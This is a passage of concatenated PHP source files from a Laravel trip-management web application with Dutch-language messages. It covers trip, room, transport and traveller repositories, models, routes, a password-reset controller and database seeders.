->select('trips.trip_id','trips.name','trips.year') ->get(); return $aActiveTripsForTraveller; } public function getAllActiveWithContact() { return Trip::IsActive()->HasContact()->pluck('name','trip_id'); } public function getNumberOfAttendants($iTripId) { $oTrip = Trip::where('trip_id',$iTripId)->withcount('travellers')->first(); return $oTrip->travellers_count; } /** * get organizers for the given trip * * @autor <NAME> * @param integer $iTripId * @return $aOrganizers */ public function getOrganizersByTrip($iTripId) { $aOrganizers = Trip::where('trip_id', $iTripId)->first() ->travellers()->wherePivot('is_organizer', true) ->select('travellers.traveller_id','travellers.first_name','travellers.last_name') ->get(); $aSubsetOfOrganizers = $aOrganizers->map(function ($oOrganiser) { return collect($oOrganiser->toArray()) ->only(['traveller_id', 'first_name', 'last_name']) ->all(); }); return $aSubsetOfOrganizers; } /** * get all possible drivers for the given trip * @author <NAME> * @param integer $iTripid the trip_id * @return collection possibleDrivers */ public function getPossibleDriversForTheTrip($tripId){ $driversForTrip = Trip::where('trip_id', $tripId)->first() ->travellers()->wherePivot('is_guide', true) ->select('travellers.traveller_id','travellers.first_name','travellers.last_name') ->get()->toArray(); //set key to traveller_id foreach ($driversForTrip as $index => $driverForTrip){ $driversForTrip[$driverForTrip["traveller_id"]] = $driverForTrip; unset($driversForTrip[$index]); } $driversForTrip = collect($driversForTrip); $driversInUse = Transport::where('trip_id', $tripId)->get()->toArray(); //set key to driver_id (=traveller_id) foreach ($driversInUse as $index => $driverInUse){ $driversInUse[$driverInUse["driver_id"]] = $driverInUse; unset($driversInUse[$index]); } $driversInUse = collect($driversInUse); //div on keys $possibleDrivers = $driversForTrip->diffKeys($driversInUse); return $possibleDrivers; } /** * set organizer for a trip * * @autor <NAME> * @param integer $iTripId * @param integer $iTravellerId * @return boolean */ public function setTravellerAsTripOrganizer($iTripId,$iTravellerId) { $oTrip = Trip::where('trip_id', $iTripId)->first() ->travellers()->wherePivot('traveller_id',$iTravellerId)->first(); if ($oTrip != null){ $oTrip->pivot->is_organizer = true; $oTrip->pivot->save(); }else{ $oTrip = Trip::where('trip_id', $iTripId)->first(); $oTrip->travellers()->attach($iTravellerId,['is_guide' => true, 'is_organizer' => true]); } return true; } /** * remove organizer from trip * * @autor <NAME> * @param integer $iTripId * @param integer $iTravellerId * @return boolean */ public function removeOrganizerFromTrip($iTripId,$iTravellerId) { $oTrip = Trip::where('trip_id', $iTripId)->first() ->travellers()->wherePivot('traveller_id',$iTravellerId)->first(); if ($oTrip != null){ $oTrip->pivot->is_organizer = false; $oTrip->pivot->save(); } } public function getDestinations() { $aDestinations = Destination::get()->pluck('destination_name','destination_name'); return $aDestinations; } } <file_sep><?php use Illuminate\Database\Seeder; class HotelsSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { // DB::table('hotels')->insert(array( 'hotel_name' => 'hotel_1', 'trip_destination' => 'Amerika', 'address' => 'address1', )); DB::table('hotels')->insert(array( 'hotel_name' => 'hotel_2', 'trip_destination' => 'Amerika', 'address' => 'address2', )); DB::table('hotels')->insert(array( 'hotel_name' => 'hotel_3', 'trip_destination' => 'Duitsland', 'address' => 'address3', )); } } <file_sep><?php namespace App\Repositories\Contracts; /** * Description of CityRepository * * @author u0067341 */ interface CityRepository { public function store($aData); public function get(); } <file_sep><?php namespace App\Http\Requests; use Illuminate\Foundation\Http\FormRequest; class RegistrationFormStep3Post extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { /* create Email request field from txtEmail and textEmailExtention for validation*/ $sEmail = $this->input('txtEmailLocalPart').'@'.$this->input('txtEmailDomain'); $this->merge(array ('txtEmail' => $sEmail)); return true; } /** * * Get the error messages for the defined validation rules. * * @return array Returns an array of all validator messages. * */ public function messages() { return [ 'txtEmailLocalPart.required' => 'Vul het eerste deel van je mail adres in', 'txtEmailLocalPart.not_regex' => 'Het r of u nummer is geen email adres, gebruik voornaam en naam', 'txtEmailDomain.required' => 'Vul de domeinnaam van je email adres is', 'txtEmail.email' => 'Het ingevulde email adres is niet geldig.', 'txtEmail.unique' => 'Het ingevulde email adres is al in gebruik.', 'txtGsm.required' => 'Je moet je GSM nummer invullen.', 'txtGsm.phone' => 'Je moet een geldig GSM nummer invullen.', 'txtNoodnummer1.required' => 'Je moet minstens 1 noodnummer invullen.', 'txtNoodnummer1.phone' => 'Je moet een geldig noodnummer 1 invullen.', 'txtNoodnummer2.phone' => 'Je moet een geldig noodnummer 2 invullen.', 'radioMedisch.required' => 'Je moet aanduiden of er al dan niet belangrijke medische gegevens zijn.', ]; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'txtEmailLocalPart' => 'required|not_regex:/^[rRuU][0-9]+/i', 'txtEmailDomain' => 'required', 'txtEmail' => 'email | unique:travellers,email', 'txtGsm' => 'required|phone:BE,NL', 'txtNoodnummer1' => 'required|phone:BE,NL', 'txtNoodnummer2' => 'nullable|phone:BE,NL', 'radioMedisch' => 'required', 'txtMedisch' => '', ]; } /** * Validate request * @return */ public function validated() { /* create Email request field from txtEmail and textEmailExtention for validation*/ $sEmail = $this->input('txtEmailLocalPart').'@'.$this->input('txtEmailDomain'); $this->merge(array ('txtEmail' => $sEmail)); } } <file_sep><?php namespace App\Repositories\Eloquent; use App\Repositories\Contracts\RoomRepository; use App\Models\Room; /** * accessing trip data * * @author u0067341 */ class EloquentRoom implements RoomRepository { public function getRoomsPerAccomodationPerTrip($iAccomodationTripId) { $rooms = Room::where('hotel_trip_id',$iAccomodationTripId)->get(); return $rooms; } public function getRoomOccupation($iRoomId) { $oRoom = Room::where('room_id',$iRoomId)->withcount('travellers')->first(); return $oRoom->travellers_count; } public function getTravellersPerRoom($iRoomId) { $travellersPerRoom = Room::find($iRoomId)->travellers()->select('travellers.traveller_id','travellers.first_name','travellers.last_name')->get(); return $travellersPerRoom; } public function addRoom($iHotelTripId,$iOccupation,$iRoomNumber = null){ $oRoom=new Room(); $oRoom->hotel_trip_id = $iHotelTripId; $oRoom->size = $iOccupation; $oRoom->room_number = $iRoomNumber; $oRoom->save(); return true; } public function deleteRoom($roomId){ Room::destroy($roomId); return true; } public function hasRoom($travellerId,$hotelTripId) { $rooms = Room::where('hotel_trip_id',$hotelTripId)->get(); foreach($rooms as $room){ $traveller = $room->travellers()->wherePivot('traveller_id',$travellerId)->first(); if ($traveller != null){ return true; } } return false; } public function addTravellerToRoom($travellerId,$roomId) { $room = Room::find($roomId)->travellers()->attach($travellerId); return true; } public function deleteTravellerFromRoom($roomId,$travellerId) { Room::find($roomId)->travellers()->detach($travellerId); return true; } }<file_sep><?php use Illuminate\Database\Seeder; class DatabaseSeeder extends Seeder { /** * Seed the application's database. * * @return void */ public function run() { $this->call([ PagesTableSeeder::class, UsersTableSeeder::class, TripsTableSeeder::class, StudiesTableSeeder::class, MajorsTableSeeder::class, ZipTableSeeder::class, TravellersTableSeeder::class, TravellerTripSeeder::class, ]); } } <file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Transport extends Model { protected $primaryKey = 'transport_id'; public function trip() { return $this->belongsTo(Trip::class,'trip_id','trip_id'); } public function travellers() { return $this->belongsToMany(Traveller::class,null,'transport_id','traveller_id') ->withTimestamps(); } public function driver() { return $this->belongsTo(Traveller::class,'driver_id','traveller_id')->select(array('traveller_id', 'first_name','last_name')); } } <file_sep><?php /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | contains the "web" middleware group. Now create something great! | */ /* * ----------------------------------------------------------------------------- * --------------------------- Always available ---------------------------- * ----------------------------------------------------------------------------- */ //test page //home page Route::get('/', 'GuestAccess\HomeController@home')->name('home'); //information pages Route::get('/page/{page_name}','GuestAccess\HomeController@showPage'); //contact page Route::get('contact','GuestAccess\ContactPageController@getInfo')->name('contact'); Route::post('contact', 'GuestAccess\ContactPageController@sendMail'); Route::get('refresh_captcha', 'GuestAccess\ContactPageController@refreshCaptcha')->name('refresh_captcha'); //login Route::get('/log','Auth\AuthController@showView')->name("log"); Route::post('/auth', 'Auth\AuthController@login'); // Password reset link request routes Route::get('password/setmail', 'Auth\ForgotPasswordController@ShowEnterEmailForm')->name('showreset'); Route::post('password/setmail', 'Auth\ForgotPasswordController@EnterEmailFormPost'); // Password reset routes Route::get('password/resetpassword/{token}', 'Auth\ResetPasswordController@ShowResetPasswordForm')->name('resetpass'); Route::post('password/resetpassword', 'Auth\ResetPasswordController@ResetPassword'); /* * ----------------------------------------------------------------------------- * --------------------------- loggedin as Guest ---------------------------- * ----------------------------------------------------------------------------- */ Route::middleware(['auth','guest'])->group(function () { Route::prefix('user')->group(function () { Route::prefix('registrationform')->group(function() { route::get('step-0', 'Auth\RegisterController@step0')->name('registerTripMessage'); route::post('step-0', 'Auth\RegisterController@step0Post'); route::get('step-1', 'Auth\RegisterController@step1')->name('registerTrip'); route::post('step-1', 'Auth\RegisterController@step1Post'); route::get('step-2', 'Auth\RegisterController@step2'); route::post('step-2', 'Auth\RegisterController@step2Post'); route::post('step-add-zip', 'Auth\RegisterController@createZip'); route::get('step-3', 'Auth\RegisterController@step3'); route::post('step-3', 'Auth\RegisterController@step3Post'); }); }); }); //--------------------------------------END------------------------------------- /* * ----------------------------------------------------------------------------- * ---------------- authenticated user ---------------- * ----------------------------------------------------------------------------- */ Route::middleware(['auth','checkloggedin'])->group(function () { //get data Route::get('majors/get/{id}', 'DataController@getMajorsByStudy'); Route::get('destination/get/{destinationName}','DataController@getAccomodationsByDestination'); //export data Route::get('/export/payments/{id}', 'ExportController@paymentsExport')->name('exportpayments'); //Travellers Route::prefix('traveller')->group(function() { //User profile Route::prefix('/profile')->group(function() { Route::get('', 'Traveller\ProfileController@showProfile')->name('profile'); Route::get('/edit', 'Traveller\ProfileController@editProfile'); Route::post('/update', 'Traveller\ProfileController@updateProfile'); }); //User accomodations Route::prefix('accomodations')->group(function(){ route::get('/overview','Traveller\Accomodation@overview')->name('accomodationOverviewTraveller'); Route::get('/listrooms/{hotelTripId}/{hotelId}', 'Traveller\Rooms@overview')->name("roomsOverviewTraveller"); Route::post('/selectRoom/{roomId}', 'Traveller\Rooms@selectRoom')->name("selectRoomTraveller"); Route::post('/leaveRoom/{roomId}/{travellerId?}', 'Traveller\Rooms@leaveRoom')->name("leaveRoomTraveller"); }); //User transportation Route::prefix('transport')->group(function(){ Route::get('/overview', 'Traveller\Transport@overview')->name("transportOverviewTraveller"); Route::post('/selectTransport/{transportId}', 'Traveller\Transport@selectVan')->name("selectVan"); Route::post('/leaveTransport/{transportId}/{travellerId?}', 'Traveller\Transport@leaveVan')->name("leaveVan"); }); }); Route::get('/logout','Auth\AuthController@logout')->name("logout"); }); //--------------------------------------END------------------------------------- /* * ----------------------------------------------------------------------------- * --------------------------- Specific Organisator -------------------------- * ----------------------------------------------------------------------------- */ Route::middleware(['auth','guide'])->group(function () { Route::prefix('organiser')->group(function () { Route::get('partisipantslist/{trip?}', 'Organiser\Partisipants@showFilteredList')->name("partisipantslist"); Route::post('partisipantslist/{trip?}', 'Organiser\Partisipants@showFilteredList'); Route::get('showpartisipant/{trip?}/{username?}','Organiser\Partisipants@showPartisipantsProfile'); Route::get('editpartisipant/{trip?}/{username?}','Organiser\Partisipants@editPartisipantsProfile'); Route::post('updatepartisipant/{trip?}/{username?}', 'Organiser\Partisipants@updatePartisipantsProfile'); Route::delete('deletepartisipant/{trip?}/{username?}','Organiser\Partisipants@destroyPartisipantsProfile')->name("userdestroy"); }); Route::prefix('payments')->group(function () { Route::get('overview/{trip?}','Organiser\Payments@showPaymentsTable')->name("paymentslist"); Route::get('get/{tripId}/{travellerId}','DataController@getPaymentsFromUserByTrip'); Route::post('delete', 'DataController@deletePayment'); Route::post('add','DataController@addPayment')->name("addPayment"); }); Route::prefix('email')->group(function () { Route::get('compose','Organiser\SendMail@getEmailForm')->name('composeemail'); Route::post('send','Organiser\SendMail@sendInformationMail')->name('sendemail'); }); //hotels Route::prefix('accomodations')->group(function() { Route::get('/overview/{trip?}', 'Organiser\Accomodation@overview')->name("accomodationOverview"); Route::post('/createAccomodation', 'Organiser\Accomodation@createAccomodation')->name("createAccomodation"); Route::post('/updateAccomodation', 'Organiser\Accomodation@updateAccomodation')->name("updateAccomodation"); Route::post('/deleteAccomodation/{tripId}', 'Organiser\Accomodation@deleteAccomodation')->name("deleteAccomodation"); Route::post('/addAccomodationToTrip', 'Organiser\Accomodation@addAccomodationToTrip'); //rooms Route::get('/listrooms/{hotelTripId}/{hotelId}', 'Organiser\Rooms@overview')->name("roomsOverview"); Route::post('/addRooms', 'Organiser\Rooms@addRooms')->name("addRooms"); Route::post('/deleteRoom/{roomId}', 'Organiser\Rooms@deleteRoom')->name("deleteRoom"); Route::post('/selectRoom/{roomId}', 'Organiser\Rooms@selectRoom')->name("selectRoom"); Route::post('/leaveRoom/{roomId}/{travellerId?}', 'Organiser\Rooms@leaveRoom')->name("leaveRoom"); }); //transport Route::prefix('transport')->group(function() { Route::get('/overview/{trip?}', 'Organiser\Transport@overview')->name("transportOverview"); Route::post('/deleteVan/{transportId}', 'Organiser\Transport@deleteVan')->name("deleteVan"); Route::post('/createVan', 'Organiser\Transport@createVan')->name("createVan"); Route::get('drivers/get/{tripId}','DataController@getPossibleDriversByTrip'); }); }); /* * ----------------------------------------------------------------------------- * ------------------------------- ADMIN rights ------------------------------ * ----------------------------------------------------------------------------- */ Route::middleware(['auth','admin'])->group(function () { Route::prefix('admin')->group(function() { Route::get('/', 'Admin\DashboardController@index'); Route::get('/dashboard', 'Admin\DashboardController@index')->name('dashboard'); Route::get('/homepage', 'Admin\HomePageController@getInfo')->name('homePage'); Route::post('/homepage', 'Admin\HomePageController@updateInfo')->name('updateHomePage'); Route::get('overviewPages', 'Admin\InfoPagesController@index')->name('infoPages'); Route::post('createPage', 'Admin\InfoPagesController@createPage'); Route::post('updatePage','Admin\InfoPagesController@updateContent'); Route::post('editPage','Admin\InfoPagesController@editPage'); Route::post('deletePage','Admin\InfoPagesController@deletePage'); Route::get('trips','Admin\TripController@showAllTrips')->name('showtrips'); Route::post('trips', 'Admin\TripController@UpdateOrCreateTrip'); Route::get('organizer/{trip?}', 'Admin\OrganizerController@show')->name('showorganizers'); Route::get('organizers/get/{tripId}','DataController@getOrganizersByTrip'); Route::post('organizers/add','DataController@addOrganizersToTrip'); Route::delete('organizer/delete','DataController@removeOrganizerFromTrip'); }); }); <file_sep><?php namespace App\Http\Requests; use Illuminate\Foundation\Http\FormRequest; class TripForm extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } /** * * Get the error messages for the defined validation rules. * * @return array Returns an array of all validator messages. * */ public function messages() { return [ 'trip-name.required' => 'U heeft de naam van de reis niet ingevuld.', 'trip-year.required' => 'U heeft het jaar van de reis niet ingevuld.', 'trip-price.required' => 'U heeft de prijs van de reis niet ingevuld.', 'trip-mail.email' => 'U heeft geen geldig email ingevuld.', ]; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'trip-name' => 'required', 'trip-year' => 'required', 'trip-price' => 'required', 'trip-mail' => 'email|nullable', ]; } } <file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Traveller extends Model { protected $guarded = ['traveller_id']; protected $primaryKey = 'traveller_id'; public function user() { return $this->belongsTo('App\Models\User', 'user_id', 'user_id'); } public function zip() { return $this->belongsTo('App\Models\Zip', 'zip_id', 'zip_id'); } public function major() { return $this->belongsTo('App\Models\Major', 'major_id', 'major_id'); } public function trips() { return $this->belongsToMany(Trip::class,null,'traveller_id','trip_id') ->withTimestamps() ->withPivot(['is_guide','is_organizer']); } public function payments(){ return $this->hasMany('App\Models\Payment','traveller_id','traveller_id'); } } <file_sep><?php namespace App\Http\Controllers\Auth; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Carbon\Carbon; use App\Repositories\Contracts\UserRepository; class ResetPasswordController extends Controller { /* |-------------------------------------------------------------------------- | Password Reset Controller |-------------------------------------------------------------------------- | | This controller is responsible for handling password reset requests | and uses a simple trait to include this behavior. You're free to | explore this trait and override any methods you wish to tweak. | */ /** * * @var UserRepository */ private $users; /** * ResetPasswordController Constructor * * @param userRepository $user */ public function __construct(UserRepository $user) { $this->users = $user; } private function IsTokenStillValid($tokenUser, $GivenToken){ if($tokenUser == $GivenToken){ $year = substr($GivenToken,0,4); $month = substr($GivenToken,4,2); $day = substr($GivenToken,6,2); $hour = substr($GivenToken,8,2); $minute = substr($GivenToken,10,2); $TokenTime = Carbon::create($year,$month,$day,$hour,$minute); if (Carbon::now()->diffInMinutes($TokenTime) < 30){ return true; } else{ return false; } } else{ return false; } } public function ShowResetPasswordForm($token) { Try { $userid = explode("*", $token)[1]; $userToken = $this->users->getResetToken($userid); if ($this->IsTokenStillValid($userToken,$token)){ if (Auth::check()){ return redirect(\route('home')); } else{ return view("auth.passwords.resetpassword", ["userid"=>$userid,"fulltoken"=>$token]); } } else{ return redirect()->route("home")->with('errormessage', 'De mail voor het resetten van het paswoord is vervallen. Doe een nieuwe aanvraag.'); } }catch (\ErrorException $e){ return redirect()->route("home")->with('errormessage', 'je bent geen geldige gebruiker van de site. Gebruik het contactformulier om contact op te nemen.'); } } public function ResetPassword(Request $request) { try{ $p1 = $request->input('password1'); $p2 = $request->input('password2'); $userid = $request->input('userid'); $GivenToken = $request->input("fulltoken"); $userToken = $this->users->getResetToken($userid); if($this->IsTokenStillValid($userToken,$GivenToken)){ if ($p1 == $p2){ if (strlen($p1) >= 8){ $aData['password'] = <PASSWORD>($p1); $this->users->update($aData, $userid); return redirect()->route("log")->with('message', 'Paswoord is aangepast.'); } else{ return back()->with('message', 'Het paswoord moet minstens 8 tekens lang zijn.'); } } else{ return back()->with('message', 'Paswoorden komen niet met elkaar overeen.'); } } else { return redirect()->route("home")->with('errormessage', 'De tijd om je paswoord opnieuw in te stellen is vervallen, doe een nieuwe aanvraag.'); } }catch(\ErrorException $e){ return redirect()->route("home")->with('errormessage', 'Je paswoord kon niet worden ingesteld. Gebruik het contactformulier om contact op te nemen.'); } } } <file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; /** * Page Model */ class Page extends Model { // protected $primaryKey = 'page_id'; /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'name', 'content', 'is_visible', 'type' ]; public static function visibleMenuItems() { $visibleMenuItems = Page::where('name','!=','Home')->where('is_visible',true)->get(['name']); return $visibleMenuItems->toArray(); } } <file_sep><?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Repositories\Contracts\TripRepository; use App\Http\Requests\TripForm; use Illuminate\Http\Request; class TripController extends Controller { /** * * @var TripRepository */ private $trips; /** * Create a new controller instance. * * @return void */ public function __construct(TripRepository $trip) { $this->trips = $trip; } /** * get all trips * * @author <NAME> * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function showAllTrips() { //$aTrips = DB::table('trips')->orderBy('year')->get(); $trips = $this->trips->getAllTrips(); return view('admin.trips.show', ['trips' => $trips]); } public function UpdateOrCreateTrip(TripForm $request) { $iTripId = $request->post('trip-id'); $aData['name'] = $request->input('trip-name'); $aData['is_active'] = $request->input('trip-is-active', false); $aData['year'] = $request->input('trip-year'); $aData['contact_mail'] = $request->input('trip-mail'); $aData['price'] = $request->post('trip-price'); if($iTripId == -1){ $this->trips->store($aData); return redirect('/admin/trips')->with('message', 'De reis is succesvol opgeslagen'); } else{ $this->trips->update($aData, $iTripId); return redirect('/admin/trips')->with('message', 'De reisgegevens zijn aangepast'); } } }<file_sep><?php namespace App\Http\Controllers\Organiser; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Repositories\Contracts\RoomRepository; use App\Repositories\Contracts\TravellerRepository; use App\Repositories\Contracts\AccomodationRepository; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Session; use Illuminate\Support\Facades\Redirect; class Rooms extends Controller { /** * * @var roomRepository */ private $rooms; /** * * @var travellerRepository */ private $travellers; /** * * @var travellerRepository */ private $accomodations; /** * roomsController Constructor * * @param roomRepository $room * */ public function __construct(RoomRepository $room, TravellerRepository $traveller, AccomodationRepository $accomodation) { $this->rooms = $room; $this->travellers = $traveller; $this->accomodations = $accomodation; } /** * This function checks if tif the current user is admin or organiser for * the trip * * @author <NAME> * * @return boolean */ private function hasRights() { $oUser = Auth::user(); $bIsOrganizer=false; if($oUser->role!='admin'){ $bIsOrganizer = $this->travellers->isOrganizerForTheTrip(session('tripId')); } if (($oUser->role == 'guide'&& $bIsOrganizer)||($oUser->role=='admin')){ return true; }else{ return false; } } /** * This function gets all rooms of the selected hotel for an admin or an organizer * * @author <NAME> * * @param $hotelTripId * @param $accomodationId * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ function overview($hotelTripId, $accomodationId) { /* store hotelTripId and hotelId in session*/ session(['hotelTripId' => $hotelTripId, 'hotelId' => $accomodationId]); /* check if current user is 'admin'*/ $oUser=Auth::user(); if($oUser->role=='admin'){ $userTravellerId='admin'; } else{ $userTravellerId=$oUser->traveller->traveller_id; } /* get all the rooms and their occupation */ $aRooms = $this->rooms->getRoomsPerAccomodationPerTrip($hotelTripId); $aCurrentOccupation = array(); $aTravellerPerRoom = array(); foreach ($aRooms as $oRoom){ $aCurrentOccupation[$oRoom->room_id] = $this->rooms->getRoomOccupation($oRoom->room_id); $aTravellerPerRoom[$oRoom->room_id]= $this->rooms->getTravellersPerRoom($oRoom->room_id); } /* get the name of the accomodation */ $accomodationName = $this->accomodations->getAccomodationName($accomodationId); return view('organizer.lists.rooms', [ 'userTravellerId'=>$userTravellerId, 'hotelTripId'=>$hotelTripId, 'tripId'=>session('tripId'), 'hotelName'=>$accomodationName, 'aRooms' => $aRooms, 'aCurrentOccupation' => $aCurrentOccupation, 'aTravellerPerRoom' =>$aTravellerPerRoom ]); } /** * this function add rooms to a accomodation for a specific trip * @author <NAME> * * @param Request $request * @return type */ function addRooms(Request $request) { if ($this->hasRights()){ for ($iNumberOfRooms = 1; $iNumberOfRooms <= $request->post('NumberOfRooms'); $iNumberOfRooms++) { $iHotelTripId = session('hotelTripId'); $iOccupation = $request->post('NumberOfPeople'); $this->rooms->addRoom($iHotelTripId, $iOccupation); } return redirect()->back(); }else{ return redirect()->back()->with('errormessage', 'je hebt onvoldoende rechten voor deze bewerking'); } } /** * this function delete a room from an accomodation for a specific trip * * @author <NAME> * @param type $roomId * @return type */ function deleteRoom($roomId) { if ($this->hasRights()){ $this->rooms->deleteRoom($roomId); return redirect()->back(); }else{ return redirect()->back()->with('errormessage', 'je hebt onvoldoende rechten voor deze bewerking'); } } /** * This function adds a user to a hotel room * * @author <NAME> * * @param integer $roomId * @return \Illuminate\Http\RedirectResponse */ function selectRoom($roomId){ $oUser = Auth::user(); if($oUser->role=='admin'){ return redirect()->back()->with('errormessage', 'U kunt geen kamer kiezen als administrator'); } else{ $travellerId=$oUser->traveller->traveller_id; $hotelTripId = session('hotelTripId'); //check if already has room for this hotel_trip $hasRoom = $this->rooms->hasRoom($travellerId,$hotelTripId); if (!$hasRoom){ $this->rooms->addTravellerToRoom($travellerId,$roomId); return redirect()->back(); }else{ return redirect()->back()->with('errormessage', 'U heeft al een kamer gekozen in dit hotel'); } } } /** * This function deletes a user out of a hotel room * * @author <NAME> * * @param Request $request * @return \Illuminate\Http\RedirectResponse */ function leaveRoom($roomId,$travellerId = null){ $oUser = Auth::user(); if ($oUser->role=='admin'){ $this->rooms->deleteTravellerFromRoom($roomId,$travellerId); return redirect()->back()->with('successmessage', 'De reiziger kan nu een andere kamer kiezen'); } else{ $travellerId=$oUser->traveller->traveller_id; $this->rooms->deleteTravellerFromRoom($roomId,$travellerId); return redirect()->back()->with('successmessage', 'U kunt nu een andere kamer kiezen'); } } } <file_sep><?php namespace App\Repositories\Contracts; /** * Description of TravellerRepository * * @author u0067341 */ interface TravellerRepository { /** * Insert new record into user table and traveller table * @param type $aData * @param $aProfileData all Traveller Data as an array with database * fieldnames as index */ public function store($aProfileData); public function getIdByUsername($sUsername); /** * get All travellerdata in one array based on the user_id * @param $userId the user_id * @return $aProfileData all Traveller Data */ public function get($userId); /** * get traveller by email * @param $sEmail the users email * @return $oTraveller object of type Traveller */ public function getByEmail($sEmail); /* * Returns the traveller data based on the trip id and requested datafields. Will return a paginated list if requested * * @author <NAME> * * @param $iTripId * @param $aDataFields * @param null $iPagination (optional) * * @return mixed */ public function getTravellersDataByTrip($iTripId, $aDataFields); /** * update travellerdata where user_id = $userid * @param $userId the user_id * @param $aProfileData all Traveller Data as an array with database * fieldnames as index */ public function update($aProfileData,$userId); /** * change the trip the attendant is part of * * @author <NAME> * * @param integer $userId * @param integer $tripIdOld * @param integer $tripIdNew * @return */ public function changeTrip($iUserId, $iTripIdOld, $iTripIdNew); /** * Deletes the data of a selected traveller * * @author <NAME> * * @param $sUserName * @return \Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector|string */ public function destroy($sUserName); /** * check if loggedin user is organiser for the given trip * * @param intger $tripid the trip_id * @return boolean $isOrganizer */ public function isOrganizerForTheTrip($iTripId); public function getPaymentData($iTripId); public function getPayments($iTripId,$iTravellerId); public function deletePayment($iPaymentId); public function addPayment($aPaymentData); } <file_sep><?php namespace App\Http\Controllers\Traveller; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Session; use Illuminate\Support\Facades\Auth; use App\Repositories\Contracts\TripRepository; use App\Repositories\Contracts\AccomodationRepository; class Accomodation extends Controller { /** * * @var tripRepository */ private $trips; /** * * @var accomodationRepository */ private $accomodations; /** * accomodationController Constructor * * @param tripRepository $trip * @param accomodationRepository $accomodation */ public function __construct(TripRepository $trip, AccomodationRepository $accomodation) { $this->trips = $trip; $this->accomodations = $accomodation; } public function overview() { //get the active user $user = Auth::user(); //get the active trip for this user $activeTripsForTraveller = $this->trips->getActiveTripsForTraveller($user->user_id); if($activeTripsForTraveller->count() == 0){ return redirect()->back()->with('errormessage', 'er zijn geen actieve reizen om weer te geven'); }elseif($activeTripsForTraveller->count() > 1){ return redirect()->back()->with('errormessage', 'je bent ingeschreven voor meerdere actieve reizen, je kan maar met één actieve reis meegaan. Raadpleeg de organisator'); } $tripId = $activeTripsForTraveller[0]['trip_id']; /* store active trip to session */ Session::put('tripId', $tripId); /* Get the current trip */ $currentTrip = $this->trips->get($tripId); /* get accomodations list for the current trip */ $accomodationsPerTrip = $this->accomodations->getAccomodationsPerTrip($tripId); return view('user.accomodations.accomodations', [ 'accomodationsPerTrip' => $accomodationsPerTrip, 'currentTrip' => $currentTrip, ]); } } <file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Payment extends Model { protected $primaryKey = 'payment_id'; public function traveller(){ return $this->belongsTo('App\Models\Traveller','traveller_id','traveller_id'); } public function trip(){ return $this->belongsTo('App\Models\Trip','trip_id','trip_id'); } } <file_sep><?php namespace App\Models; use Illuminate\Notifications\Notifiable; use Illuminate\Contracts\Auth\MustVerifyEmail; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Contracts\Auth\CanResetPassword; use Illuminate\Support\Facades\Auth; class User extends Authenticatable { use Notifiable; /** * The attributes that sets the primary-key. * * @var string */ protected $primaryKey = 'user_id'; /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'username', 'password', 'role' ]; /** * The attributes that should be hidden for arrays. * * @var array */ protected $hidden = [ 'password', 'remember_token', ]; /* set relation to traveller table */ public function traveller() { return $this->hasOne('App\Models\Traveller', 'user_id', 'user_id'); } public static function isOrganizer() { $oUser = Auth::user(); if($oUser->role=='admin'){ return true; }elseif($oUser->role =='guide'){ foreach($oUser->traveller->trips->where('is_active', true) as $oTrip){ if ($oTrip->pivot->is_organizer == true){ return true; } } } return false; } } <file_sep><?php use Illuminate\Database\Seeder; use Illuminate\Support\Facades\DB; class UsersTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { // <NAME> DB::table('users')->insert([ 'username' => 'guest', 'password' => bcrypt('<PASSWORD>'), 'role' => 'guest' ]); // Admin DB::table('users')->insert([ 'username' => 'admin', 'password' => bcrypt('<PASSWORD>'), 'role' => 'admin', ]); // <NAME> DB::table('users')->insert([ 'username' => 'u0598673', 'password' => bcrypt('<PASSWORD>'), 'role' => 'guide', ]); // <NAME> DB::table('users')->insert([ 'username' => 'u0569802', 'password' => bcrypt('<PASSWORD>'), 'role' => 'guide', ]); // <NAME> DB::table('users')->insert([ 'username' => 'r0664592', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); // <NAME> DB::table('users')->insert([ 'username' => 'r0577574', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); // <NAME> DB::table('users')->insert([ 'username' => 'r0233215', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); // <NAME> DB::table('users')->insert([ 'username' => 'r0668515', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); // <NAME> DB::table('users')->insert([ 'username' => 'r0679934', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); // <NAME> DB::table('users')->insert([ 'username' => 'r0664407', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); // <NAME> DB::table('users')->insert([ 'username' => 'r0673786', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); // <NAME> DB::table('users')->insert([ 'username' => 'r0658314', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); // <NAME> DB::table('users')->insert([ 'username' => 'r0663911', 'password' => bcrypt('<PASSWORD>'), 'role' => 'traveller', ]); // <NAME> DB::table('users')->insert([ 'username' => 'r1234567', 'password' => bcrypt('jan'), 'role' => 'traveller', 